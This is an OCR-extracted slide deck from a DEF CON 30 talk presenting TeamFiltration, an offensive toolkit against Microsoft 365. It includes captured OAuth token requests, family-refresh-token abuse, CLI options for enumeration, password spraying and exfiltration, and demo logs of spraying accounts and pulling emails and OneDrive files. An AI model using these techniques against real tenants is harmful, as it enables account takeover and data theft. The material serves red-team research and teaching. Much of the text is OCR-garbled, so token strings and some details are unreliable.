TAKING A IN THE CLOUD
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UNAME -A

+ MELVIN FLANGVIK> LANGVIK 5=

. C# AZURE DEVELOPER TURNED HACKER
. TARGETED OPERATIONS TRUSTEDSEC
. TWITCH STREAM, SH3LLCAST, YOUTUBE i= THi= :Liir
. SHARPCOLLECTION, AMSLFAIL, COBALTBUS, AZUREC2RELAY,
BETTERSAFETVKATZ, SHARPROXYLOGON, SHARPEXFILTRATE,
SHARPAPPLOCKER

-
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ATTACKING MICROSOFT OFFICE 365

® hunter

G Google

Linked [}

ENUMERATION SPRAVING EXFILTRATION

-
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CONDITIONAL ACCESS

Signals Verify every access Apps and data
attempt

User gnd
location — @ —
o vd

Allow access

101010
010101

. 101010
-
Require MFA C}

Application Real-time —> ®

risk
Block access

-
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HTTPS://00CS.MICROSOFT.COM/EN-US/AZURE/ACTIVE-DIRECTORY/CONDITIONAL-ACCESS/OVERVIEW




TEAMS BEHIND THE SCENE

LOGIN.MICROSOF TONLINE.COM

TEAMS.MICROSOFT.COM

|

POST /API/AUTHSVC/V1.0/AUTHZ

R 0S T COMMON/OAUTH2/TOKEN

e 2 MICROSOF T.AAD.BROKERPLUGIN.EXE

—

SSO0AUTHCOOKIE=EYJAEXAI..
AUTHORIZATION: BEARER EYJOEX..

'

—

X-SKYPETOKEN: EYJHBGCI...
SKYPETOKEN_ASM=EYJHBGCI...

-
O TrRusTEDSELD

|
GET /API/MT/AMER/BETA/X/Z

HTTPS://STATICS.TEAMS.CON.OFFICE.NET/
HTTPS://AMER.NG.MSG.TEAMS. MICROSOFT.COM/V1
HTTPS://US-API.ASM.SKYPE.COM/VI/



1372  https://login.microsoftonline.com

Hex
= Th-Aad-Device-Family: 3
9 Th-Aad-Env-Id: 10.0.19041.1387
Accept-Language: en-US
Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x&4)
AppleWebKit/537.36 (KHTML, like

Safari/537.3€ Edge/18.19044
3 Content-Length: 2938
i Cache-Control: no-cache

5 X-Ms-Refreshtokencredential: NA

¢ Connection: close

grant_type=urn$3Aietfi3Aparamsi3Acauthi3Agrant-types3Ajwt-bearers

recquest=
eyJriGZ-
kKNDUVE i
iwidGdp
pnTZ91IS
yTWZcL3
ekQOTHc
FFMSTZO
NBazFQO
XcFuwvN2
blgzOGF
WQiLCJdy
JlcXVlc
IaUSfMk
cklNhaHR
kFYbOFy
FCOCSBZ
WUDBiN3j
cjFOMnB
WN3NZVr

Chrome/70.0.3538. 102

JWT TOKEN

POST Jcommon/oauth2/token

Hex Render

HTTP/1.1 200 OK
Cache-Control: no-store, no
Pragma: no-cache

1 Content-Type: application/j
Expires: -1

6 Strict-Transport-Security: n

7 X-Content-Type-Options: nosr
P3P: CP="DSP CUR OTPi IND O

9% client-request-id: 3c¢3£3590
Xx-ms-recquest-id: 4e440&dd-c
X-ms—-ests-server: 2.1.13156

Xx-ms-clitelem: 1,0,0,234381.

X-XS5-Protection: O
1 Set-Cookie: fpc=
P SU e, Ad
At
Saunes LLe—nons
5 Set-Cookie:
httponly
6 Set-Cookie:

x-ms-gatevay-slice=estsfd;

stsservicecookie=estsfd; path=/;

zRnVF 7 Date: Fri, 08 Jul 2022 11:43:31 GMT

Connection: close
Content-Length: 7139

ExUO0p
UZWpG
‘cGVua
SIsIn
BtZOov
IZW1N
OiTwL
215Nk

eyJhbG
jMrZih
nltéGHM
xzl1lOnn
TSkY-r
dz5GGe
393 ANu
eWRgxy
_XULSO0
B-AoSK
ESULDI

NHAMY 0_byg3

-
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NOT AJWT

TOKEN

path=/; secure; samesite=none;

secure; samesite=none; httponly

EEESSERse s T s et TVTWI QR
14pAzIHM
iKk78VY
eHfc-Pu
7dX0C2c
60QDyHn
DayLtHR
PjgYSL1
Hh8NJgB
16ZbYZ3
K_9ntPG
Epj2uUL7




Microsoft
] bdentity

Application

platform

User is authenticated.

: Application sends - .

© access token A to Reque;ft access token
© Web API A or Weh A B,
: providing token A,

client ID and secret Call Web API B with

access token B in
authorization header

Return data from
secured resource

B 7

Docs / Azure / Active Directory / Develop / O,

Microsoft identity platform and OAuth 2.0
On-Behalf-Of flow

Article » 06/02/2022 « 15 minutes to read « 20 contributors oy

The OAuth 2.0 On-Behalf-Of flow (OBO) serves the use case where an application invokes a service/web API, which
in turn needs to call another service/web API. The idea is to propagate the delegated user identity and permissions
through the request chain. For the middle-tier service to make authenticated requests to the downstream service, it

needs to secure an access token from the Microsoft identity platform, on behalf of the user.

-
O TrRusTEDSELD



N
O TrusTEDSEC



-
O TrRusTEDSELD



Success response example

The following example shows a success response to a request for an access token for the
https://graph.microsoft.com Z web API.

JSON ™ Copy

“"token_type"”: "Bearer”,

"scope”: "https://graph.microsoft.com/user.read"”,

"expires_in": 3269,

"ext_expires_in": O,

"access_token": "eyJl@eXAiOiJKV1QiLCJub25jZSI6IkFRQUIBQUFBQUFCbmZpRy1tQTZOVGF1NONkV1c3UWZkQENDYyOtYOhG:
“refresh_token™: "OAQABAAAAAABNnfiG-mA6NTae7CdWW7QfdAALzDWjwb6qSn4GUDFxWzIDZ61k9gRw4An{a lot of charact:

}
]

The above access token is a v1.0-formatted token for Microsoft Graph. This is because the token format is based on
the resource being accessed and unrelated to the endpoints used to request it. The Microsoft Graph is setup to
accept v1.0 tokens, so the Microsoft identity platform produces v1.0 access tokens when a client requests tokens
for Microsoft Graph. Other apps may indicate that they want v2.0-format tokens, v1.0-format tokens, or even
proprietary or encrypted token formats. Both the v1.0 and v2.0 endpoints can emit either format of token - this way

the resource can always get the right format of token regardless of how or where the token was requested by the
client.

-
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grant_type=urni3Aietfi3Aparamsi3Acauthi3Agrant-types3Ajwt-beareré&request=

EYJEZGZF AT TS m T S TS ATIa A TE SO SR T ATV AT e s ARTATIN - S ST TN A7 S AT IO C AT T S Tea R 2 T TR ML TN T 2y ]
aWstdmVy JMEkxK
M1lpnTZ9: wZlEz
eGtuRVg+ 'saTds
ZnJEVFFI (FSZhF
TGVxYmSE NUOxJ
YUAUZWpC 'vYZU1L
OiJodHRx ‘BRDBE
MloyRZhl waDFC
eGpEdLE¢ 2Q2o0z
S1BoX3Fl JFUvds
W1S90dXV: I5Wihl
WCINV3NZ 'LAUZP
V2tKeUZ:- 'ETUFk
UZI3V3dJt .QTD1T
NTRiTVE+ 'hdFEBJ
akJOQlZ: "TaGQ2
UONmUF 11 I3ZjR4
MVAMX0J> 0S5 1lhl
aFBYUWS} p— ILZHJ L
eilLY31T DidshZd) -

eE lyMHdx

QVhy Wil L&windows apil version=3.0j

bkNaLTAS
SHVDNHJI -
YTESNzA.
QzBF Zmtl
TjRZdEd:
LWZIdDJ:
SzZNXILI:
OGU30C1L:
Ind1lZnd.
)1dshZd] R _
L&windows_api_version=I.0&claims=

o A )

rd T e Ra TPV £ g e g & O A &

- *

a

bt ettt 5 2 2 XIS CcC522%3a%57b%22valuess22%53as5Sbhs22CP1%225%55d57ds7ds7d
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Raw Hex = Pretty Raw Hex
POST /common/oauth2/token HTTP/L.1l 16 Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly
Host: login.microsoftonline.com 17 Date: Fri, 08 Jul 2022 12:58:19 GMT
Cookie: fpc=AoRLC 12 Connection: close
Xx-ms-gateway-slic 19 Content-Length: 4879
Accept: */* 20
Content-Type: application/x-www-form-urlencoded 21 |{
Client-Request-Id: cee4l235-73ca-4141-a%a3-2489986f6abg "token_type":"Bearer", $8 Lo e v e o e g g
: - nge wen —
;ﬁfﬁ;ﬁ:giﬁj?ﬁ:ﬁ:ﬁﬁf';d Frus ,,:igll’iﬁs_ll‘z ) "resource”":"https://service.flov.microsoft.com/"
Th-Aad-Env-Id: 10.0.19041.1387 "ext_expires_
Accept-Language: en-U3 "expires_on
Accept-Encoding: gzip, deflate ToC Perore
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.3& (KHTML, like Gecko) "resource': s service.flow.microsoft.c
Chrome/70.0.3538.102 Safari/537.3€ Edge/18.19044
Content-Length: 3282 =Y i0 QiLCJhbGciOidSUzILINiIsIng j XBEM1IVwYmpBWVhZRZFYRUpsSOGxWMFRPSSISImtpZCIET
Cache-Control: no-cache aUXBKM1VwYmpBu uyz
X-Ms-Refreshtokencredential: NA & Wk
Connection: close B Cdp? 1i0i
IxTiwiYW1lvIjoiRT
grant_type=urn%3Aietfi3Aparams%3Aoauths3Agrant-types3Ajut-bearer&request= WyJwd2QiLCJycZEd
= e = =~ ™ o e e e e A S . ’ IETJALILCIIbm
aWNlaWQiOiIwNMTcy
dpdm 25hbWUi0Oi
OiJINZ2I0YzI2
iMCSBWGY9Bcn H H 1 -
ey windows_api_version=2.0
6T13QwMmMZ ZC
Z210Y29ycC5u

1A
iR
51

ERY

oM
rad
5J
iU
B
"R ! . . .
ok 10pL7U: windows_api_version=1.0
oh x0wHgMt 3 $ o e
31 lyTOItPnl
. ’ . Vo —BEv
=l&windows api version=1.0 [2 rukopg md
{J or,
-3 "EocimimLr,
M "id_token":
ZNC LIS Ik LZQLEImeyZ2 1 ulm DY lve s i LLUZS8TIhZULITU. NPpPGZa AXCK-URCCUKUDKGALTYSS5LYUCZWDRWGE "eyJ0eX
jI-Io&client_inftl=L&winclows_api_version=l.D JQiLCJIpc3Mioi i i JZGE
vIiwiaWFOI U3 CYOUDUSTIDAS /ACCLEMN1IYINZ 140UDCWILWlYWN]AL lonLwlYwiylipbl
nB3ZCIsInd hbraS1leils IndpdmVuXZShhWUioidCent SIsImlwYWRkciIEI
ILIQ3LIIwNMCIsSImShhbWUiOiJEciBCenViZ5BCYWSUZXTiLCIvaWQiOiJINZ IOYZzIZNC1jYzFiLTRIODMEOTFhYS02 YZMSN
DUZMJU4MDEIiLCIwdWlkIjoiMTAwWMzIWMD IWRUTI4NkKkIyNCIsIndoIjoiMCSBWGY9BcmOwe LIFJWFNHMGkzZGt4MWs zNmMybml
zE3MjYwMzELLTk
D Den R T
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TEAMS FUNCTIONALLY

<

= = o 3
4 https://amer.ng.msg.teams.microsoft.com/v1/users/ME/
L dmeem  ©itps://teams.microsoft.com/api/mt/amer/beta/teams/
=

EEEEEEE L
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TEAMS FUNCTIONALLY

Q Se

@ OneDrive

. T Upload
(Y Recent

i M ft Teams OneDrive

~ Downloads

@ OneDrive

juli 2022 v

Modified

mar
October 14, 2021

4 sendag 17.juli PTO
February 8, 2021
February 13, 2021

January 12, 2021

April 24

-
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= Hex
POST /fireprox/common/oauthZ/token HTTP/Z

2 Host: 694gkndgp3.execute-api.us-west-l.amazonaws.com
3 Accept: application/json
! User-Agent: Dalvik/2.1.0

(Linux; U; Android 7.1.2; SM-GY955F Build/NRDY0M)
Content-Type: application/x-www-form-urlencoded
Content-Length: 1093

I grant_type=refr »:-sh_tokv‘:n&rkfresh_token=

L ALOAY
_WwQASPY
PNoAs-a
mjUQMSq
YQZIDki
ETFEBBU
IyclNgzu
1lg¥Y783x
s_fuKTh

11nC.

grant_type=refresh tokensr

IO TS o

Lianteidadt e cBe78-beed-daaf-ablb-5451cc387264cres

Tron o

httpss3ASZFS2Foutlook.office365. comdscope=openidswindows_api_version=2.0sc

so-access_tokeniZos S22xms_cc%22%3A%7B%22valuess2Is3A%5BS22CPLSI2Y 7D%7D%7D|

httpss3A%2Fs2Foutlook. office3E5. com.

Using refresh token for
api.skype.com to request
access to
outlook.office365.com

7rAgDs
(Lh8il
j_k7£5
J0-s-2
<Qx0MM
3bEPku
Jwxldw
JvT4AD
1JWyKO

Pretty

FIUTUNUIIT vvaavava sy sav weve ey sav wamiwase

17 Expires:

Raw Hex Rende

-1

12 X-Content-Type-0Options: nosniff
1% Pragma: no-cache
20 X-Amzn-Remapped-Date: Mon, 18 Jul 2022 1£:38:4€ GMT

22 |{

"token_type":"Bearer”,

TeupTtT
"Calendars.ReadWrite Contacts.ReadWrite EWS.AccessAsUser.All Files.Read.All Files.Read
Write.All Files.ReadWrite.Shared Group.ReadWrite.All Mail.ReadWrite Mail.Send OWA.AccH
ssAsUser.All S5CIS-Internal.ReadWrite Si¢gnals.ReadWrite SubstrateSearch-Internal.ReadWy
ite TenantFeedback.Write User.Read User.ReadBasic.All",

"expires in':"o3950",

"ext_expires_in":"93950",

"expires_on":"1€5825627¢",

"not before"arlitolson g

"resource"”: fhttps: //outlook.office365.con”,

"pwd_url”:"NCCPET//PorCal . mICTRGOT CONLINe. Con/ChangePassword. aspx”,
ant e

wjhttps: //outlook.
KM
Imlzcy

NEYS8i

LCJhY:

F5M1h:

0iIxZn

Milltc

MTAwL-

TwMGQu

Y3dvel

td4Mus:

b2507%

dyaxR]

dGUgT

MuUnV

dGUgV>

JiMGZi

LCJ0ak

YudGFu

NTVUQU

=DMt

8tyZrc

am7o05f

Tdwlzc

SWAVH41vaunyAa JUNWADE LV 1V UYUOLKI_ 14100 JNI LILDLIZUDVD JKEUA-AULULONIW ,
"refresh_token":

0. AXOArmOSQ T m TN A 1 . s . N
rAgDs_wQASP-

kQrd0BwpOgxE

V50QyXyBifB:s

XMCNAty-Xhil

bEB3v7AKsYJe

+FfDuRKEw ] rr] =

office365.con"”,

MgdgTWev
ZB5sld-y
MsSCiMNw
3ig4zolk
scrKLPfa
IB0XDJCJ

Voo O
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AUTH USING REFRESH TOKEN

LOGIN.MICROSOF TONLINE.COM

Y

"TOKEN_TYPE™:"BEARER",
"SCOPE™:"<LIST OF PERMISSIONS>",

POST COMMON/0AUTH2/TOKEN "RESOURCE":"HTTPS://0UTLOOK.OFFICE365.COM/",

RESOURCE=HTTPS://0UTLOOK.OFFICE365.COM
CLIENT_ID=IFECBE18-BCEY-UAAF-ABIB-5USICC3B126
GRANT_TYPE=REFRESH_TOKEN

REFRESH_TOKEN=0.AJMGVMNDUILC

SCOPE=0PENID

"ACCESS_TOKEN":"EVYJOEXAIOIJKVIOILCJUB2SY...",
"REFRESH_TOKEN":"0.AJMGVMNDUILC..."
}

-
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INTERACTIVE LOGINS

= Microsoft Azure 2 Search resources, services, and docs (G+/)

Home Us

User sign-ins (interactive) User sign-ins (non-interactive)

All users
Deleted users
Password reset

Date : Last 7 days Show dajes as : Local +7 Add filters

User settings o ) )
User sign-ins (interactive) User sign-ins (non-interactive)
Diagnose and solve problems -

. J Request ID User Application
Activity

o 4b6¢ 33.. Oddvar Moe Microsoft Teams
3 Sign-in logs

g dit | Oddvar Moe Microsoft Teams
Audit logs

. Oddvar Moe Microsoft Teams
Bulk operation results

Oddvar Moe Microsoft Teams

-
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NON-INTERACTIVE LOGINS

User sign-ins (non-interactive)

bw are grouped by user and resource. Click on a row to see all the sign-ins for a user and resource on that date and time.

Request ID J Username Application Status IP address Resource

biff. tannen@legitcorp.net Microsoft Teams Success Microsoft Graph

. biff.tannen@legitcorp.net Microsoft Teams Success Windows Azure Active Directory
biff tannen@legitcorp.net Microsoft Teams Success Microsoft Graph
biff. tannen@legitcorp.net Microsoft Teams Success Office 365 Exchange Online

¢ bifftannen@legitcorp.net Microsoft Teams Success Office 365 SharePoint Online
biff.tannen@legitcorp.net Microsoft Teams Success Office 365 SharePoint Online

39! biff.tannen@legitcorp.net Microsoft Teams Services Success Office 365 SharePoint Online

biff tannen@legitcorp.net Microsoft Teams Success Microsoft Teams Services

-
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FAMILY REFRESH TOKENS

- FAMILY REFRESH TOKENS ARE A SPECIAL
KIND OF REFRESH TOKEN THAT
DISREGARD THE TOKEN BINDING
SAFEGUARDS DEFINED IN THE OAUTH 2.0
SPECIFICATIONS.

- HTTPS://GITHUB.COM/SECUREWORKS/FA
MILY-OF-CLIENT-IDS-RESEARCH

» AWESOME WORK BY @DETECTDOTDEV /
T€EAM AT SECUREWORKS

Application ID
00b41c95-dab0-4487-9791-b9d2c32c80f2
04b07795-8ddb-461a-bbee-02f9e 1bf7b46
1950a258-227b-4e31-a9cf-717495945fc2
1fec8e78-bce4-4aaf-ab1b-5451cc387264
26a7ee05-5602-4d76-a7ba-eae8b7b67941
27922004-5251-4030-b22d-91ecd9a37ea4
4813382a-8fa7-425e-ab75-3b753aab3abb
ab9b8c07-8f02-4f72-87fa-80105867a763
d3590ed6-52b3-4102-aeff-aad2292ab01c
872cd9fa-d31f-45e0-9eab-6e460a02d 11
af124e86-4e96-495a-b70a-90f90ab96707
2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8
844cca35-0656-46ce-b636-13f48b0eecbd
87749df4-7ccf-48f8-aa87-704bad0e0e16

cf36b471-5b44-428¢c-9ce7-313bf84528de

-
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Application Name
Office 365 Management
Microsoft Azure CLI
Microsoft Azure PowerShell
Microsoft Teams
Windows Search
Outlook Mobile
Microsoft Authenticator App
OneDrive SyncEngine
Microsoft Office
Visual Studio
OneDrive iOS App
Microsoft Bing Search for Microsoft Edge
Microsoft Stream Mobile Native
Microsoft Teams - Device Admin Agent

Microsoft Bing Search



AZURE ACTIVE DIRECTORY AUTHENTICATION
LIBRARY CADAL)

Created by @Flangvik

[+] Authenticating as
Y c# LlBRARv FOR AUTHENT|CAT|ON [+] Successfully got Teams token!
[+] Got sharepoint address => https:// -my . sharepoint.com/personal/ /Documents
[+] Retrieving recent files and looking for SharePoint root folders!
wlTHlN Aplech|ONs RUNN'NG ON [+] Found 50 recent files accessible by user, downloading!

[!] Failed to download file

WINDOWS HOSTS SUCH AS SKYPE FOR 1] i e e e

BUSINESS, MICROSOFT TEAMS, AND | -
ONEDRIVE. I :j; (FOlder):.xlsx

|--> .docx
l—i> (Folder)
-->
|--> .xls
|--> .x1lsx
|--> - .pdf
I--> (Folder)
|--> .pdf
i -> .pdf
-->
[--> (Folder)
|--> -pdf
|--> .pdf
[ .pdf
|==> -pdf
[--> .pdf
[ .pdf
== (Folder)
[N pdf
|--> .xls
[--> (Folder)
|--> .doc
[--> .pdf
= .X1s
|- 1
|44> (Folder)
[ -- (Folder)
-> .pdf
[-- (Folder)

AV

-
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TEAMFILTRATION

- C# DOTNETCORE CROSS-PLATFORM ATTACK TOOLKIT
. KEV FEATURES

DATABASE ORIENTED
- FIREPROX INTEGRATION
- DEHASHED INTEGRATION
- PUSHOVER INTEGRATION
- AUTOMAGIC PASSWORD GENERATION
- AUTOMAGIC USER ENUMERATION
- EXFILTRATION CABALAITITES
- TEAMS (CHAT LOGS . ATTACHMENTS, CONTACT LIST)
- ONEDRIVE CFILES,SHARED SHAREPOINT DOCUMENTS)
- OUTLOOK CEMAILS, CONTENT AND ATTACHMENTS)
- GRAPH APl CDOMAIN INFORMATION, USERS, GROUPS)
- BACKDOOR CLI - MOVE VERTICALLY ONTO COMPUTER
- MFA BYPASS CCONDITIONAL ACCESS ENUMERATIOND
- ABUSES REFRESH TOKENS

-
O TrRusTEDSELD
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TEAMFILTRATION

TEAMFILTRATION.DB

ENUMERATION

-
VALID ACCOUNTS . WL

A

VALID ACCOUNTS ACCESS TOKEN

vALID CREDENTIALS

Y
SPRAVING

-
O TrRusTEDSELD

NEW ACCESS TOKEN

Y

EXFILTRAITON



ENUMERATION MODULE

——sleeb—max Maximum minutes to sleeb between each full rotation of sbra&iné default=100
--delay Delay in seconds between each individual authentication attempt. default=0
-—-push-userkey Pushover user API key for notifications when credentials are found)
-—-push-appkey Pushover app API key for notifications when credentials are found)
-—push-locked Get Pushover notifications when an sprayed account gets locked (requires --push-userkey and —--push-appkey)
-—force Force the spraying to proceed even if there is less the <sleep> time since the last attempt
——enum Load the enumeration module
-—domain Domain to perfom enumeration against, names pulled from statistically-likely-usernames if not provided with --usernames
—-—usernames Path to a list of usernames to enumerate (emails)
-—dehashed Use the dehashed submodule in order to enumerate emails from a basedomain
--validate-msol Validate that the given 0365 accounts exists using the public GetCredentialType method (Very RateLimited - Slow 20 e/s)
--validate-teams Validate that the given 0365 accounts exists using the Teams API method (Recommended - Super Fast 300 e/s)
--validate-login Validate that the given 0365 accounts by attemping to login (Noisy - triggers logins - Fast 100 e/s)
--backdoor Loads the interactive backdoor module
-—database Loads the interactive database browser module
-—debug Add burp as a proxy on 127.0.0.1:8080
-
& TrusTEDSEC

HTTPS://GITHUB.COM/INSIDETRUST/STATISTICALLY-LIKELY-USERNAMES



ENUMERATION USING STATISTICALLY
LIKELY USERNAMES

[v] TeamFiltration Vv6.3.3.6 PUBLIC, created by @Flangvik @TrustedSec
[+] Args parsed --outpath DefconDemo®l1/ —--config TeamFiltrationConfig.json —-—enum --domain trustedsec.com --validate-teams

|=> [1] john.smith@trustedsec.com

|=> [2] john@trustedsec.com

|=> [3] johnjs@trustedsec.com

|=> [4] johns@trustedsec.com

|=> [5] johnsmith@trustedsec.com

|=> [6] jsmith@trustedsec.com

|=> [7] smith@trustedsec.com

|=> [8] smithj@trustedsec.com

|=> [9] john_smith@trustedsec.com

[?] Select an email format #> 1

[ENUM] 18.07.2022 13:51:01 EST Filtering out previusly attempted accounts

[ENUM] 18.07.2022 13:51:02 EST Enumerating 248231 possible accounts, this will take ~14 minutes
[ENUM] 18.07.2022 13:51:04 EST Successfully got Teams token for sacrificial account

[ENUM] 18.07.2022 13:51:04 EST Loaded 248231 usernames

[ENUM] 18.07.2022 13:51:33 EST } jtrustedsec.com valid!
[ENUM] 18.07.2022 13:51:47 EST itrustedsec.com valid!
[ENUM] 18.07.2022 13:52:85 EST stedsec.com valid!
|
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SPRAYING MODULE

-—spray Load the spraying module
———aad-sso Use SecureWorks recent Azure Active Directory password brute-forcing vuln for spraying
--us-cloud When spraying companies attached to US Tenants (https://login.microsoftonline.us/)
—-—passwords Path to a list of passwords, common weak-passwords will be generated if not supplied
-—-seasons-only Password generated for spraying will only be based on seasons
—--months-only Password generated for spraying will only be based on months
——common-only Spray with the top 20 most common passwords
——combo —Path to a combolist of username:password
-—exlude Path to a list of emails to exclude from spraying
--sleep-min Minimum minutes to sleep between each full rotation of spraying default=60
--sleep-max Maximum minutes to sleep between each full rotation of spraying default=100
--delay Delay in seconds between each individual authentication attempt. default=0
-—push-userkey Pushover user API key for notifications when credentials are found)
-—push-appkey Pushover app API key for notifications when credentials are found)
—-—push-locked Get Pushover notifications when an sprayed account gets locked (requires --push-userkey and
-—force Force the spraying to proceed even if there is less the <sleep> time since the last attempt

-
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SPRAYING MODULE

[¥] TeamFiltration V0.3.3.6 PUBLIC, created by @Flangvik @TrustedSec
[+] Args parsed --outpath DefconDemoOl\ --config TeamFiltrationConfig.json --spray --force

SPRAY] 22.07.2022 10 22:17 EST Sleeping between 60-100 minutes for each round

SPRAY] 22.07.2022 10:22:20 EST There has only been 3 minutes since last spray, be careful about lockout!

SPRAY] us-west-1 22.07.2022 10:22:21 EST Sprayed rosalva.talmage@legitcorp.net:January2022 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:21 EST Sprayed alona.marr@legitcorp.net:January202?2 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:21 EST Sprayed millicent.sue@legitcorp.net:January2022 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:23 EST Sprayed lidia.velasco@legitcorp.net:January2022 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:23 EST Sprayed sandra.bakley@legitcorp.net:January202?2 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:23 EST Sprayed robbi.tu@legitcorp.net:January202?2 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:24 EST Sprayed otis.terpstra@legitcorp.net:January2022 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:25 EST Sprayed nilda.figgs@legitcorp.net:January202?2 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:25 EST Sprayed fe.kitzmiller@legitcorp.net:January2022 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:26 EST Sprayed jonathan.white@trustedsec.com:January2022 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:26 EST Sprayed fannie.eames@legitcorp.net:January202?2 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:26 EST Sprayed rhett.breuer@legitcorp.net:January202?2 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:27 EST Sprayed serena.gutter@legitcorp.net:January2022 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:27 EST Sprayed dillon.blowe@legitcorp.net:January202?2 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:28 EST Sprayed graham. layton@legitcorp.net:January2022 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:29 EST Sprayed krista.hackler@legitcorp.net:January202?2 => INVALID
SPRAY] us-west-1 22.07.2022 10:22:29 EST Sprayed edna.burnett@legitcorp.net:January2022 => INVALID
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EXFILTRATION MODULE

-——exfil Load the exfiltration module

—-—username
-—-password
-—cookie-dump

--all
-—aad
-—-teams
-—onedrive
-—owa

-—owa-Llimit
--jwt-tokens

Override to target a given username that does
Override to target a given password that does
Override to target a given account using it's

Exfiltrate information from ALL SSO resources
Exfiltrate information from Graph API (domain
Exfiltrate information from Teams API (files,

not exist in the database
not exist in the database
refresk-cookie-collection

(Graph, OWA, SharePoint, OneDrive, Teams)
users and groups)
chatlogs, attachments, contactlist)

Exfiltrate information from OneDrive/SharePoint API (accessible SharePoint files and the
Exfiltrate information from the Outlook REST API (The last 2k emails, both sent and rece
Set the max amount of emails to exfiltrate, default is 2Kk.

Exfiltrate JSON formated JTW-tokens for SSO resources (MsGraph,AdGraph, Outlook, Sha
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EXFILTRATION MODULE

[¥] TeamFiltration V0.3.3.6 PUBLIC, created by @Flangvik @TrustedSec
[+] Args parsed --outpath DefconDemo0Ol\ --config TeamFiltrationConfig.json --exfil --owa --onedrive
[+] You can select multiple users using syntax 1,2,3 or 1-3

|-> 0 - biff.tannen@legitcorp.net

| -> ALL - Everyone!

[?] what user to target ? #> 0

[EXFIL] 22.07.2022 10:54:24 EST Attempting to exfiltrate using provided token
[EXFIL] 22.07.2022 10:54:25 EST Exfiltrating emails from outlook!

[EXFIL] 22.07.2022 10:54:25 EST Fetched 28 email ID's , exfiltrating content!
[EXFIL] 22.07.2022 10:54:30 EST Refreshed a token for => https://legitcorpnet.sharepoint.com
[EXFIL] 22.07.2022 10:54:31 EST Refreshed a token for => https://legitcorpnet-my.sharepoint.com
[EXFIL] 22.07.2022 10:54:32 EST Exfiltrating shared files from OneDrive
[EXFIL] 22.07.2022 10:54:35 EST Exfiltrating the entire personal OneDrive
[EXFIL] 22.07.2022 10:54:36 EST -->DailyNotes.docm

[EXFIL] 22.07.2022 10:54:37 EST |--> Bilder (Folder)

[EXFIL] 22.07.2022 10:54:37 EST |--> Dokumenter (Folder)

[EXFIL] 22.07.2022 10:54:37 EST |--> Notebooks (Folder)

[EXFIL] 22.07.2022 10:54:37 EST |--> Skrivebord (Folder)

[EXFIL] 22.07.2022 10:54:37 EST |--> Biff @ LegitCorp (Folder)

[EXFIL] 22.07.2022 10:54:37 EST --> WindowsPowershell (Folder)

[EXFIL] 22.07.2022 10:54:37 EST -—> B

[EXFIL] 22.07.2022 10:54:37 EST -—>

[EXFIL] 22.07.2022 10:54:37 EST ——>

[EXFIL] 22.07.2022 10:54:37 EST -—>

[EXFIL] 22.07.2022 10:54:37 EST -=>

[EXFIL] 22.07.2022 10:54:37 EST ——>

[EXFIL] 22.07.2022 10:54:37 EST -—>

[EXFIL] 22.07.2022 10:54:37 EST --> Proxifier.Ink

[EXFIL] 22.07.2022 10:54:37 EST | --> Modules (Folder)

[EXFIL] 22.07.2022 10:54:38 EST  |--> BankBackup_ (Folder)
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+++ @

Available commands:

show <emails|creds|

export <emails|creds|attempts|summary> <csv|json> <path>

exit

[?] cMD #> show summary
+. _____________________
| startTime

o}
|
+
| 22.07.2022 17:38:45 |
4
I
4

| 22.07.2022 17:39:13
+. _____________________

DATABASE MODULE

attempts|summary>

_____________________ +--—___--__-__--
StopTime | Password
_____________________ +_______________
22.07.2022 17:38:46 | welcome@2022!
_____________________ +_______________
22.07.2022 17:40:33 | January2022
_____________________ +--__—_--—___---

-
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+—t —t —+

TeamFiltration v0.3.3.6 PUBLIC, created by @Flangvik @Trustedsec
Args parsed --outpath DefconDemo0l\ --config TeamFiltrationConfig.json --database
Attempting to load database file DefconbDemoOl\TeamFiltration.db



DEMO 1 - EXTERNAL TESTING
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BONUS ROUND - THE BAGKDOOR!
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- PROJECT CAN BE FOUND AT

PS://GITHUB.COM/FLANGV

IK/TEAMFILTRATION

- SPECIAL THANKS TO
- CDETECTDOTDEV
- ENTIRE TRUSTEDSEC TEAM

- ENJOVY LAST DAY of

DEFCON30
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THANK YOU

STAY GLASSY

memegenerator.net
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